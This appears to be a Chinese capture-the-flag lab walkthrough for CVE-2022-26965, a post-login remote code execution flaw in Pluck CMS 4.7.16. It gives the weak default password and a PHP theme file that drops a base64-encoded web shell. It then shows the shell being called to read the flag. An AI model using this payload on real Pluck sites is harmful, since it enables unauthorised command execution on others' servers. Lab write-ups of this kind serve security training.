春秋云境：CVE-2022-26965

文章合集：春秋云境系列靶场记录（合集）

---

Pluck-CMS-Pluck-4.7.16 后台RCE：CVE-2022-26965

漏洞介绍

Pluck-CMS-Pluck-4.7.16 后台RCE

---

解题步骤

1. 过弱口令登录：admin
   
   

2. 登录之后按照图中位置进行主题安装
   
   

3. 按照这位大哥文章：https://blog.csdn.net/weixin_39639260/article/details/116105945中说的，需要将主题中的info.php文件修改，再打包成zip再上传，通过网络搜索找到Github中的Pluck CMS，进入后随便下载任一主题：
   

4. 对主题进行解压得到info.php，修改info.php文件内容，并重新打包成zip文件：

<?phpfile_put_contents('testshell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));?>

5. 将刚才打包的zip主题进行上传
   

6. 访问根目录下的testshell.php并进行命令执行：http://eci-jbxi1zebqg9.cloudeci1.ichunqiu.com/testshell.php?1=cat%20/flag
   

文章合集：春秋云境系列靶场记录（合集）